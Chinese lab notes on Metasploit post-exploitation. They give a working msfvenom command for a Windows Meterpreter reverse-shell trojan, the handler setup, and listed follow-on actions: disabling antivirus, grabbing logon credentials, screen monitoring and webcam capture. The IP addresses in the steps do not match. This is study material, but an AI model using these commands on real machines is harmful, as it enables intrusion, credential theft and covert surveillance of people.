后渗透

1.生成木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.110.140 lport=4444 -f exe >shell.exe

2.将生成的木马移动到/var/www/html目录下

3.打开apache2

4.靶机和虚拟机相互ping

5.靶机在网址上搜索192.168.40.129(虚拟机ip)/shell.exe下载文件

6.打开msfconsole

7.

use exploit/multi/handler #加载模块
set payload windows/meterpreter/reverse_tcp #修改成我们之前生成木马时使用的payload
set lhost 192.168.110.140 #设置kali的IP地址为监听地址
set lport 4444 #设置监听端口

8.靶机点开shell.exe文件

• 修改注册表

• 查看开放的服务

shell回车

• 上传文件

• 下载文件

• 关闭杀毒软件

安装火绒安全再试一遍

Shell.exe被安全软件发现并清除

小彩蛋：

• 屏幕监控

Ctrl+C退出

• 查看目标机是否在虚拟机上

• 抓取自动登录的用户和密码

由于不是自动登录的，所以不显示

• 打开相机拍摄照片

相机关闭

参考资料：

msfvenom生成木马的简单利用 - 知乎 (zhihu.com)

【精选】后渗透之关闭防火墙、杀毒软件并开启远程桌面_msf进入meterpteter会话后关闭防火墙命令_~Echo的博客-CSDN博客

Metasploit之后渗透攻击（信息收集、权限提升） - coderge - 博客园 (cnblogs.com)

第十一课 - Meterpreter概括_哔哩哔哩_bilibili

第十二课 - Meterpreter文件操作_哔哩哔哩_bilibili

第十三课 - Meterpreter系统操作_哔哩哔哩_bilibili

第十四课 - Meterpreter网络操作_哔哩哔哩_bilibili

第十五课 - Meterpreter其它操作_哔哩哔哩_bilibili